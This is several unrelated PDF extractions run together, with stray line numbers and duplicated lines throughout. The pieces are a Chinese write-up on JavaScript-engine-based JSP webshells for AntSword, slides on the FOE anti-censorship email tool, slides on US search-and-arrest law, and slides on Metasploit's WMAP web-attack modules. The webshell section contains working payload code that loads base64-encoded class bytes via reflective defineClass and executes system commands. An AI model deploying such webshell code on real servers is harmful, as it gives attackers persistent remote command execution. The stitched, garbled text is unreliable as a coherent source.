function func(z1) {
//eval function
return z1;
}
output.append(func(z1)); //添加功能函数回显
} catch (e) {
output.append("ERROR:// " + e.toString()); //输出错误
}
try {
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
8
要注意的是,在遇到Java跟JS可能存在类型冲突的地⽅,即使导⼊了包也要加上全限定类名。
在编写payload的时候被坑了很久的⼀个问题就是,在导⼊java.lang以后写new String(bt,cs)没有加全
限定类名,导致打印出来的⼀直是⼀个字符串地址。
正确的操作是new java.lang.String(bt,cs)。因为在Java和Js中均存在String类,按照优先级,直接new
出来的会是Js的对象。
下⾯附上类型对⽐表:
语法问题的坑
两种语⾔对象间的相互转换
response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //
回显
} catch (e) {}
49
50
9
这也是当时⼀个坑点,看下⾯⼀段代码
Rhino/Nashorn解析的差异
JavaScript Value
JavaScript Type
Java Type
Is Scriptable
Is Function
{a:1, b:['x','y']}
object
org.mozilla.javas
cript.NativeObje
ct
+
-
[1,2,3]
object
org.mozilla.javas
cript.NativeArray
+
-
1
number
java.lang.Double
-
-
1.2345
number
java.lang.Double
-
-
NaN
number
java.lang.Double
-
-
Infinity
number
java.lang.Double
-
-
-Infinity
number
java.lang.Double
-
-
true
boolean
java.lang.Boolea
n
-
-
"test"
string
java.lang.String
-
-
null
object
null
-
-
undefined
undefined
org.mozilla.javas
cript.Undefined
-
-
function () { }
function
org.mozilla.javas
cript.gen.c1
+
+
/.*/
object
org.mozilla.javas
cript.regexp.Nati
veRegExp
+
+
10
其中cmdenv是个HashMap,这段代码在Java 8中Nashorn引擎可以正常解析,var key in cmdenv的时
候把cmdenv的键给输出了
但是在Java 6下运⾏时,Rhino把他当成了⼀个js对象,把其属性输出了
Plain Text
复制代码
var readonlyenv = System.getenv();
var cmdenv = new java.util.HashMap(readonlyenv);
var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
for (var i = 0; i < envs.length; i++) {
var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
if (es.length == 2) {
cmdenv.put(es[0], es[1]);
}
}
var e = [];
var i = 0;
print(cmdenv+'\n');
for (var key in cmdenv) {//关键
print("key: "+key+"\n");
e[i] = key + "=" + cmdenv[key];
i++;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
11
所以涉及到这种混合写法就会有异议,不同的引擎有不同的解释。
解决办法使⽤Java迭代器即可,不掺杂js的写法。
在Java中,如果涉及到不同版本之间类的包名不⼀样,我们通常不能直接导⼊,⽽要使⽤反射的写法。
例如base64解码的时候,Java的写法如下
Plain Text
复制代码
反射的坑
var i = 0;
var iter = cmdenv.keySet().iterator();
while (iter.hasNext()) {
var key = iter.next();
var val = cmdenv.get(key);
//print("\nkey:" + key);
//print("\nval:" + val);
e[i] = key + "=" + val;
i++;
}
1
2
3
4
5
6
7
8
9
10
12
改写成js⻛格后,发现会有⼀些奇奇怪怪的BUG。(后来发现反射其实也可以实现,导⼊Java类型然后
再传⼊反射参数即可,就是⽐较麻烦)
Plain Text
复制代码
public byte[] Base64DecodeToByte(String str) {
byte[] bt = null;
String version = System.getProperty("java.version");
try {
if (version.compareTo("1.9") >= 0) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
bt = (byte[]) decoder.getClass().getMethod("decode",
String.class).invoke(decoder, str);
} else {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
bt = (byte[]) clazz.getMethod("decodeBuffer",
String.class).invoke(clazz.newInstance(), str);
}
return bt;
} catch (Exception e) {
return new byte[]{};
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
13
但是在Js中,我们并不需要这么麻烦。上⾯提到过如果importPackage了⼀个不存在的包名,Js引擎会
将这个错误给忽略,并且由于Js松散的语⾔特性,我们仅仅需要正射+异常捕获就可以完成⽬的。⼤⼤
减⼩了payload编写的复杂度。
理论上,我们可以⽤js引擎的⼀句话实现所有字节码⼀句话的功能,退⼀万步讲,如果有些功能实在不
好实现,或者说想套⽤现有的payload应该怎么办呢。
我们可以⽤java调⽤js后,再调⽤defineClass来实现:
编写⼀个命令执⾏的类:calc.java
Plain Text
复制代码
Plain Text
复制代码
保底操作
function test(str) {
var bt = null;
var version = System.getProperty("java.version");
if (version.compareTo("1.9") >= 0) {
var clazz = java.lang.Class.forName("java.util.Base64");
var decoder = clazz.getMethod("getDecoder").invoke(null);
bt = decoder
.getClass()
.getMethod("decode", java.lang.String.class)
.invoke(decoder, str);
} else {
var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
bt = clazz
.getMethod("decodeBuffer", java.lang.String.class)
.invoke(clazz.newInstance(), str);
}
return bt;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
1
2
3
4
5
6
7
8
9
10
11
14
编译之后base64⼀下
填⼊下⽅payload
JavaScript
复制代码
JavaScript
复制代码
import java.io.IOException;
public class calc {
public calc(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
> base64 -w 0 calc.class
yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL
2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYW
JsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGp
hdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAlj
YWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjY
WxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbm
cvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKEx
qYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEA
BgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQAD
AAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAA
AAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA
1
2
15
JavaScript
复制代码
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "UTF-8";
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = new Base64().getDecoder().decode(str);
}
return bt;
}
function define(Classdata, cmd) {
var classBytes = Base64DecodeToByte(Classdata);
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
output.append(
define(
"yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZh
L2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUY
WJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTG
phdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
16
成功弹出计算器
也就是说,新型⼀句话在特殊情况下,还可以继续兼容原有的字节码⼀句话,甚⾄复⽤原有的
Payload。
测试环境:Java>=6
同样的列⽬录Payload,原有的字节码⽅式数据包⻓度为7378,⽽新型JSP⼀句话仅仅为2481,差不多
为原有的三分之⼀。
测试
jYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARj
YWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhb
mcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKE
xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACE
ABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQA
DAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACA
AAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
"calc"
)
);
response.getWriter().print(output);
45
46
47
48
17
列⽬录
18
中⽂测试
虚拟终端
19
数据库连接
基于JS引擎的Java⼀句话体积更⼩,变化种类更多,使⽤起来更灵活。范围为Java 6及以上,基本可以
满⾜需求,但是Payload写起来⾮常麻烦,也不好调试,算是有利有弊。
提出新型⼀句话并不是说⼀定要取代原有的打⼊字节码的⽅式,只是在更复杂情况下,可以提供给渗透
⼈员更多的选择。
最后
20
项⽬地址:https://github.com/AntSwordProject/antSword/tree/v2.2.x | pdf |
F.O.E.
Feed Over Email
A Proxy-less RSS Reader
A Proxy-less RSS Reader
http://code.google.com/p/foe-project
By
Sho Ho
Broadcasting Board of Governors
F.O.E.
Who am I?
Name:
Sho Ho
Job Title:
Software Engineer
Employer: Broadcasting Board of Governors
Mother ship of Voice of America, Radio Free Europe/Radio
Liberty, Radio Free Asia, Radio & TV Marti, etc.
Liberty, Radio Free Asia, Radio & TV Marti, etc.
Duties:
Internet anti-censorship R&D;
programming.
Contact:
[email protected]
F.O.E.
The Big Challenge
Facts:
Countries censor the Internet and
people cannot access “indecent”
websites.
Problem: “Indecent” may include Voice of
Problem: “Indecent” may include Voice of
America, CNN, BBC, etc.
Challenge: How to bypass censorships?
F.O.E.
Offending Countries
• “Big offenders” of Internet censorship:
– Belarus, Burma, China, Cuba, Egypt, Ethiopia, Iran,
North Korea, Saudi Arabia, Syria, Tunisia,
Turkmenistan, Uzbekistan, Vietnam, Zimbabwe
Turkmenistan, Uzbekistan, Vietnam, Zimbabwe
• and “minor offenders”:
– Australia, Bahrain, Belgium, Brazil, Canada, Chile, Czech Republic, Denmark,
Fiji, Finland, France, Ghana, India, Ireland, Israel, Italy, Jordan, Maldives,
Mexico, Morocco, Myanmar, Netherlands, Norway, Pakistan, Russia, Saudi
Arabia, Singapore, South Korea, Sweden, Thailand, Turkey, United Arab
Emirates, United Kingdom, Yemen, and USA (WTF?!!)
F.O.E.
Censorship Technologies
• IP Address Filtering
• Domain Name Blocking
• Packet (Content/URL/Keyword) Filtering
• DNS Hijacking
• DNS Hijacking
•
Desktop monitoring software. E.g.
Green Dam (made in China).
• Any combination and/or variation of the
above.
New
F.O.E.
Anti-Censorship Technologies
• Web-Based Proxy Servers
• Client-Side Proxy Software
• Pure Peer-to-Peer (P2P)
• Email
• Email
• Monitoring software removal tools.
F.O.E.
Anti-Censorship Technologies
• Web-Based Proxy Servers
– Advantages:
• Easy to deploy
• No download required
• Effective against most common forms of censorship
• Effective against most common forms of censorship
– Disadvantages:
• Limited multimedia capability (e.g. no videos)
• Limited interactivity (e.g. no AJAX)
• Difficult to find new proxy servers
– Example:
• Psiphon, CGIProxy (By James Marshall)
F.O.E.
Anti-Censorship Technologies
• Client-Side Proxy Software
– Advantages:
• Automatically update new routes.
• Browser independent.
• Better multimedia and interactivity supports.
Disadvantages:
– Disadvantages:
• Difficult to get a copy of the programs in censored countries.
• Anti-virus software may treat some programs as Trojans or viruses.
• Some systems are proprietary and may have privacy and security
concerns.
• Connection speed can be slow for some.
– Examples:
• Tor, Freegate, Ultrasurf, etc.
F.O.E.
Anti-Censorship Technologies
• Pure Peer-to-Peer (P2P)
– Advantages:
• Distributed, thus difficult to block.
• Data redundancy – data may be available from multiple nodes.
– Disadvantages:
• Initial nodes discovery can be difficult.
• Speed can be very slow. Usually not good enough for web browsing.
• Network reliability and security.
– Example:
• Freenet.
F.O.E.
Anti-Censorship Technologies
• Email
– Advantages:
• Difficult to block individual emails.
• No known censorship technology blocks email delivery on the national
firewall level.
• Can be used to update proxy addresses.
• Can be used to update proxy addresses.
• Emails can be scrambled or encrypted to deliver sensitive information and
bypass content filtering.
– Disadvantages:
• Susceptible to server-side spam-filtering.
• Plain-text emails are susceptible to content-filtering.
• Encrypted emails require the recipients to have certain technical skills.
• Recipients do not know whether their emails have been blocked.
F.O.E.
Anti-Censorship Technologies
• Monitoring Software Removal Tools
– Advantage:
• Completely remove desktop monitoring software such as Green Dam.
– Disadvantage:
• Can be difficult to obtain a copy of the removal software.
F.O.E.
FOE
Anti-Censorship Tool
For Receiving News/Files
For Receiving News/Files
Built on Email
F.O.E. = “Feed Over Email”
F.O.E.
Problems
No proxy, no RSS / podcast
(China’s Great Firewall blocks VOA/RFA feeds)
F.O.E.
Problems
Web (CGI) Proxy
Unreliable
IP addresses change too often
Cannot “push” content to users
No good way to inform user of new IP
F.O.E.
Problems
Proxy Clients
(e.g. Freegate)
Expensive to maintain
Proprietary
No mobile phone support
F.O.E.
How F.O.E. Works?
1. User request : send feeds please
2. Server response : here you go …
RSS, podcast, software, new proxy IP, etc.
SSL
SSL
Censored
Country
F.O.E.
How F.O.E. Works?
• FOE messages are embedded in email messages.
• FOE messages are compressed so it can:
– Reduce the message size.
– Bypass content filters.
• Requirement: user needs a foreign email account (e.g. Gmail).
• Requirement: user needs a foreign email account (e.g. Gmail).
• FOE client sends a request to FOE server via email.
• FOE server sends the requested feed/file to the user’s email.
• FOE client download the FOE message and display the feed
(or save the file).
F.O.E.
How F.O.E. Works?
Build On Email
Use existing email service providers
(e.g. Gmail)
F.O.E.
Advantages
User friendlier
(No need to update IP periodically)
More portable
(Can be port to mobile phones easily)
Capable of “push”
Capable of “push”
(Communication is 2-way)
More reliable
(US email services are quite reliable)
Low costs
(Build on open standards-SMTP,POP3,IMAP,XML)
F.O.E.
Feed Over Email, Why?
Abundant Foreign Email Servers
No Need to Update Proxy Addresses
Secured SMTP, POP3, IMAP
Secured SMTP, POP3, IMAP
Reliable
Inexpensive or Free (e.g. Gmail)
Difficult to Block
F.O.E.
Sample Usages
News feed (RSS)
Podcasting
File download
File download
Distribute proxy IP
Get user feedback
Important announcement (push)
F.O.E.
Can It Be Blocked?
Yes, when …
Yes, when …
Email server is blocked.
Email account is closed.
Email provider turns evil.
F.O.E.
What FOE Is and Isn’t?
FOE is:
• A tool to allow users to receive news feeds, Podcasts,
files, programs, and proxy updates.
• A complement to existing anti-censorship solutions.
FOE is not:
• An universal proxy solution.
• For real-time applications.
• For downloading large files.
F.O.E.
Supported Platforms
PCs
Currently Supporting Microsoft Windows.
Potentially on Linux, FreeBSD, Mac OS X, etc.
Potentially on Linux, FreeBSD, Mac OS X, etc.
Mobile phones
Can easily be ported to most mobile platforms.
F.O.E.
How To Improve FOE?
• Run on other protocols (e.g. Jabber) instead of
SMTP?
• Create a client-side plug-in architecture?
• Create an architecture to allow anyone to set up a
• Create an architecture to allow anyone to set up a
FOE server to provide different services?
• Port FOE to other operating systems?
• Create FOE clients for mobile devices?
F.O.E.
Demo
Showtime
F.O.E.
Conclusion
• FOE is one of the many tools that helps to fight Internet
censorship.
• You can help to fight censorship by:
– Contributing to the FOE project by writing codes, submitting
new ideas, writing papers, talking about it on your blogs and/or
websites, and in any ways that you can imagine. (We DO NOT
websites, and in any ways that you can imagine. (We DO NOT
accept money contribution but thank you for asking.)
– Creating your own anti-censorship tools and make it freely
available to the public.
– Set up your proxy servers or other anti-censorship services to
help people in censored countries.
– Making sure politicians hear your concerns loud and clear.
– Providing financial supports to other anti-censorship programs
that you believe are most promising.
F.O.E.
Project Contact
Sho Ho
[email protected]
http://code.google.com/p/foe-project | pdf |
The Hackers Guide to
The Hackers Guide to
Search and Arrest
Search and Arrest
by Steve Dunker J.D.
by Steve Dunker J.D.
I. When Can an Officer Legally
I. When Can an Officer Legally
““Stop
Stop”” an individual?
an individual?
A. Voluntary Stops
A. Voluntary Stops
B. Investigative Stops
B. Investigative Stops
C. Administrative Stops
C. Administrative Stops
D. Road Blocks
D. Road Blocks
Voluntary Stops
Voluntary Stops
It is legal for an Officer at any time to
It is legal for an Officer at any time to
““Ask
Ask”” a person to stop and talk.
a person to stop and talk.
A person has the right to say
A person has the right to say ““yes
yes”” or
or
““no
no””..
Investigative Stops
Investigative Stops
Reasonable Suspicion required.
Reasonable Suspicion required.
Road Blocks
Road Blocks
Border Checkpoints
Border Checkpoints
Officers can check everything coming into the
Officers can check everything coming into the
country.
country.
Routine searches no RS or PC needed.
Routine searches no RS or PC needed.
Strip Search: Reasonable suspicion required
Strip Search: Reasonable suspicion required
Body Cavity: Probable cause
Body Cavity: Probable cause
Drunk Driving Checkpoints
Drunk Driving Checkpoints
Checkpoints are valid if procedure is
Checkpoints are valid if procedure is
followed.
followed.
Other Roadblocks
Other Roadblocks
Drivers license, registration, and Insurance
Drivers license, registration, and Insurance
Checkpoints: Valid
Checkpoints: Valid
Fleeing felon Checkpoints: Valid
Fleeing felon Checkpoints: Valid
Crime Witness Checkpoints: Valid
Crime Witness Checkpoints: Valid
Security Checkpoints: Valid
Security Checkpoints: Valid
Weigh Stations for trucks: Valid
Weigh Stations for trucks: Valid
Game Warden: Valid
Game Warden: Valid
Agricultural Inspection: Valid
Agricultural Inspection: Valid
When Can an Officer
When Can an Officer
Legally Arrest an
Legally Arrest an
individual?
individual?
All Arrests must be based on
All Arrests must be based on
Probable Cause.
Probable Cause.
Probable Cause defined
Probable Cause defined: PC exists
: PC exists
when there are enough facts and
when there are enough facts and
circumstances to lead police officers, in
circumstances to lead police officers, in
the light of their experience, to the
the light of their experience, to the
reasonable belief that a person has
reasonable belief that a person has
committed, is committing, or is about to
committed, is committing, or is about to
commit a crime.
commit a crime.
Arrests in Public Places
Arrests in Public Places
No warrant required.
No warrant required.
Arrests in a person
Arrests in a person’’s own home.
s own home.
Arrest requires a warrant or emergency
Arrest requires a warrant or emergency
circumstances.
circumstances.
Searches
Searches
When does an Officer have the
When does an Officer have the
legal right to conduct a
legal right to conduct a
““Search
Search”” of a Person, Auto,
of a Person, Auto,
or Building?
or Building?
““Consent
Consent”” Search
Search
Consent Search of a person.
Consent Search of a person.
Can only give consent to the search of
Can only give consent to the search of
yourself or your minor child.
yourself or your minor child.
Consent to Search Property
Consent to Search Property
If a person has legal control over an Auto
If a person has legal control over an Auto
or Building they can give consent.
or Building they can give consent.
Who Can Give Consent?
Who Can Give Consent?
Landlord
Landlord: Can Not give consent to search
: Can Not give consent to search
tenant
tenant’’s property.
s property.
Hotel Manager
Hotel Manager: Can Not give consent to search
: Can Not give consent to search
tenant
tenant’’s room.
s room.
Parents
Parents: Can Give consent to search all rooms
: Can Give consent to search all rooms
of their home they maintain control over.
of their home they maintain control over.
Roommates
Roommates: Can Give consent only to common
: Can Give consent only to common
areas and spaces under their control.
areas and spaces under their control.
Warrants
Warrants
If Law Enforcement Has a Warrant you
If Law Enforcement Has a Warrant you
must let them Search.
must let them Search.
The Police will not wait while you call your
The Police will not wait while you call your
lawyer.
lawyer.
Warrant for Home
Warrant for Home
Usually a search of a home requires a
Usually a search of a home requires a
Warrant
Warrant
Knock and Announce Requirement
Knock and Announce Requirement
Plain View, Plain Smell,
Plain View, Plain Smell,
Plain Hear
Plain Hear
Officer must have legal right to be there.
Officer must have legal right to be there.
Officer must use normal senses.
Officer must use normal senses.
Discovery is by chance.
Discovery is by chance.
Emergency Circumstances
Emergency Circumstances
Ask
Ask: Is the evidence going to be
: Is the evidence going to be
destroyed, is there some type of danger,
destroyed, is there some type of danger,
or will the suspect avoid capture unless
or will the suspect avoid capture unless
the officer acts quickly?
the officer acts quickly?
An Emergency Search is limited to the
An Emergency Search is limited to the
circumstances.
circumstances.
The Frisk
The Frisk
A Frisk is for Weapons only.
A Frisk is for Weapons only.
Officer must have reasonable suspicion a
Officer must have reasonable suspicion a
crime is
crime is ““afoot
afoot””..
Must have reasonable suspicion that suspect
Must have reasonable suspicion that suspect
is armed.
is armed.
A
A ““frisk
frisk”” is a pat
is a pat--down Only.
down Only.
Any item seized must be a weapon or
Any item seized must be a weapon or
““immediately apparent
immediately apparent”” it is contraband.
it is contraband.
““Search Incident to an Arrest
Search Incident to an Arrest””
Requires:
Requires:
-- Lawful arrest
Lawful arrest
-- Search is limited to person and immediate
Search is limited to person and immediate
area in control of person.
area in control of person.
Cars included.
Cars included.
““Protective Sweeps
Protective Sweeps””
Officers may perform a protective sweep
Officers may perform a protective sweep
for other people and weapons.
for other people and weapons.
Intimate body Searches
Intimate body Searches
(Stomach, Cavity, etc.)
(Stomach, Cavity, etc.)
Non surgical searches require reasonable
Non surgical searches require reasonable
suspicion or probable cause depending on
suspicion or probable cause depending on
circumstances.
circumstances.
Surgical searches require probable cause.
Surgical searches require probable cause.
Abandoned Property
Abandoned Property
Any property that is
Any property that is ““Abandoned
Abandoned”” can be
can be
examined and taken by the police.
examined and taken by the police.
Once your trash has been taken to the
Once your trash has been taken to the
edge of your property it can be taken by
edge of your property it can be taken by
anyone, including the police.
anyone, including the police.
Student Searches
Student Searches
On High School Property
On High School Property
No warrant or probable cause required
No warrant or probable cause required
to run dog.
to run dog.
Only reasonable suspicion required to
Only reasonable suspicion required to
search students and lockers.
search students and lockers.
Student Searches
Student Searches
On College Property
On College Property
Warrant required to search dorm rooms
Warrant required to search dorm rooms
unless for safety or health reasons.
unless for safety or health reasons.
When and How Can An Officer
When and How Can An Officer
Use a
Use a ““Tool
Tool”” to aid in his
to aid in his
Search?
Search?
Vision Enhancers: Binoculars,
Vision Enhancers: Binoculars,
Night Vision
Night Vision
Can only use for area in the public view
Can only use for area in the public view
otherwise a warrant is needed.
otherwise a warrant is needed.
Can
Can’’t peep into windows.
t peep into windows.
Hi
Hi--Tech Devices
Tech Devices
Infra Red
Infra Red: Need warrant
: Need warrant
XX--Ray
Ray: Need Warrant except in safety
: Need Warrant except in safety
related areas with advanced notice.
related areas with advanced notice.
Metal Detector
Metal Detector: Usually Consent Search
: Usually Consent Search
that turns into a
that turns into a ‘‘Frisk
Frisk’’. .
Dogs
Dogs
Ask does the officer have
Ask does the officer have ““right
right”” to be
to be
there?
there?
Interception of Electronic Data
Interception of Electronic Data
Wire Tapping
Wire Tapping
Pen Registers
Pen Registers
Cordless Phones
Cordless Phones
Email and other Internet
Email and other Internet
Communications
Communications
Wire Tapping
Wire Tapping
No wire tap without a warrant.
No wire tap without a warrant.
Warrant for Wire tap must show:
Warrant for Wire tap must show:
Crime has been, is being, or is about to be
Crime has been, is being, or is about to be
committed.
committed.
The communications to be intercepted will
The communications to be intercepted will
contain information about the offense.
contain information about the offense.
The place monitored is used in the offense.
The place monitored is used in the offense.
Pen Registers
Pen Registers
Not A Search. NO Warrant Needed.
Not A Search. NO Warrant Needed.
Cordless Phones
Cordless Phones
It Depends on the frequency.
It Depends on the frequency.
No warrant needed to intercept
No warrant needed to intercept
conversations from older Cordless
conversations from older Cordless
telephones.
telephones.
Email and other Internet
Email and other Internet
Communications
Communications
Easiest Interception is via Employers.
Easiest Interception is via Employers.
Employer can access their own email
Employer can access their own email
system.
system.
Email warrants.
Email warrants.
The Use of
The Use of ““Bugs
Bugs”” by
by
Law Enforcement.
Law Enforcement.
On agent
On agent
Legal as long as agent has the
Legal as long as agent has the ““right
right”” to
to
be there.
be there.
Bug In suspect
Bug In suspect’’s home or
s home or
business
business
Warrant required.
Warrant required.
Bug In Police Car or Jail Cell.
Bug In Police Car or Jail Cell.
Is there an Expectation of Privacy?
Is there an Expectation of Privacy?
Fighting Back against Illegal
Fighting Back against Illegal
Searches and Arrests.
Searches and Arrests.
Exclusionary Rule:
Exclusionary Rule: Illegally obtain
Illegally obtain
evidence cannot be used in court.
evidence cannot be used in court.
Criminal Law
Criminal Law: Prosecuting the officer.
: Prosecuting the officer.
Rodney King
Rodney King
Civil Law
Civil Law: Law Suits Section 1983
: Law Suits Section 1983…
….
.
Your attorney fees are paid if you win.
Your attorney fees are paid if you win.
Internal Affairs
Internal Affairs: Police department
: Police department
discipline. Time off, reduction in rank,
discipline. Time off, reduction in rank,
fired.
fired. | pdf |
“WMAP: Metasploit goes Web”
ET
Introduction
• No agenda in this presentation
• No Sun Wu Tzu “The Art of War” Stuff In
this presentation either.
– #nomorefree-art-of-war-stuff-in-security-
presentations.
• No history of web scanners
Introduction
• Efrain Torres
– 2*5+ years enjoying IT
security
– Metasploit team
– et [at] metasploit.com
WMAP
• Web assessment as Metasploit auxiliary
modules
– Run modules by hand or automated
• Still early stages
– blame it to the crisis
• Metasploit Prime (SecTor 08)
– “Expect a big announcement soon!”, HD
• This is it.
WMAP
• Why?
– Struggle with tools that find vulnerabilities
while browsing an application.
• Easy way to get detected by IDS/IPS
– Crawl as a user.
– Attack like a ninja later.
– Suffering by tools that can only be run on
windows environments.
• Tied to a specific browser
• IE Control. (You are assuming the target is good
and no evil)
WMAP
• Why?
– Too much focus on whistles and bells.
• When was the last time a pie chart was useful for
you.
– No more crap regarding vulnerabilities
classification and risks.
• Sometimes a High is just a Low
– (I'm not talking about FP’s)
• And a couple of Lows can get you High
• What the hell is a High, Medium, Low?
– Real Impact?
WMAP
NO
YES
WMAP
• Objectives
– A way to tie testing methods with exploitation
methods
– Make something useful to help in the
assessment of anything related to HTTP/S
– WMAP may be used as a scanner but it
should be treated as an extension of the
Metasploit framework.
WMAP
• The more web assessment/scanners/etc
tools the better.
– Each tool has its own limitations, pros and
cons.
– Choose the damn tool you like (it’s just a tool)
– “A Poor Workman Blames His Tools”
• W3AF is awesome.
• SQLmap is awesome.
• _________
WMAP
•Multiple Clients
•Any Proxy
•Metasploit DB
•Simple modules
•Ruby
WMAP
• db_wmap
– Identify possible targets
– Build target website structure
– Run the modules in a specific order
– Reporting
msf > load db_wmap
[*] =[ WMAP v0.5 - ET LoWNOISE
[*] Successfully loaded plugin:
db_wmap
msf > db_create /path/to_db
msf > db_connect /path/to_db
WMAP
• db_wmap commands
msf > help
Wmap Database Backend Commands
==============================
Command
Description
----------------
-------------------
wmap_reports
List all reported results
wmap_run
Automatically test/exploit everything
wmap_targets
List all targets in the database
wmap_website
List website structure
WMAP
• /modules/auxiliary/scanner/http
– Discovery / Information gathering
– Files and Directories
– SQL Injection
– XPATH Injection
– Webservices
– Webdav
– …
WMAP
• WMAPModules Types
– /lib/msf/core/auxiliary/wmapmodule.rb
• Module Types and Basic supporting methods
– WMAPScanServer
– WMAPScanFile
– WMAPScanDir
– WMAPScanQuery
– WMAPScanUniqueQuery
– WMAPScanBody
– WMAPScanHeaders
– WMAPScanGeneric
• wmap_generic_email_extract.rb
WMAP
• How to build a WMAP module
– 1) Build/Take a Metasploit module
– Not only auxiliary modules
– Not only HTTP
– 2) Include the mixin type.
– 3) Done!
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WMAPScanType
include Msf::Auxiliary::Scanner
…
end
WMAP
• WMAP provides new building blocks for your
cross-protocols attacks.
– Be creative
• Remember each module behaves as a scanner
– Set RHOSTS 192.168.0.0/24
WMAP
• SQL Injection
– No reinventing the wheel
• Wmap_sqlmap.rb
– SQLmap by Bernardo Damele A. G
– wmap_blind_sql_query.rb
• Basic detect sql injections.
– lucky_punch.rb
• Same technique massive sql injection attacks in
april/2008
• Awesome companion for browser autopwn
WMAP
• XPATH Injection
– Xphat.rb
– HTTP Blind XPATH 1.0 Injector
• Simple search
• substring() function = k
– XPATH 2.0
• Fast binary search
• string-to-codepoints(string) function
• and string-to -codepoints(substring()) < k
• SOAP
– HTTP SOAP Verb/Noun Brute Force Scanner
– Brute force SOAP/XML requests to uncover hidden
methods
– By patrick
WMAP
• Files and Directories
– wmap_backup_file.rb
– wmap_brute_dirs.rb
– wmap_copy_of_file.rb
– wmap_dir_listing.rb
– wmap_dir_scanner.rb
– wmap_files_dir.rb
– wmap_file_same_name_dir.rb
– wmap_prev_dir_same_name_file.rb
– wmap_replace_ext.rb
– writeable.rb (Put a nice metasploit payload)
WMAP
• Additional Server Modules
– wmap_verb_auth_bypass.rb
• The old trick of bypassing authentication modifiying
the HTTP method.
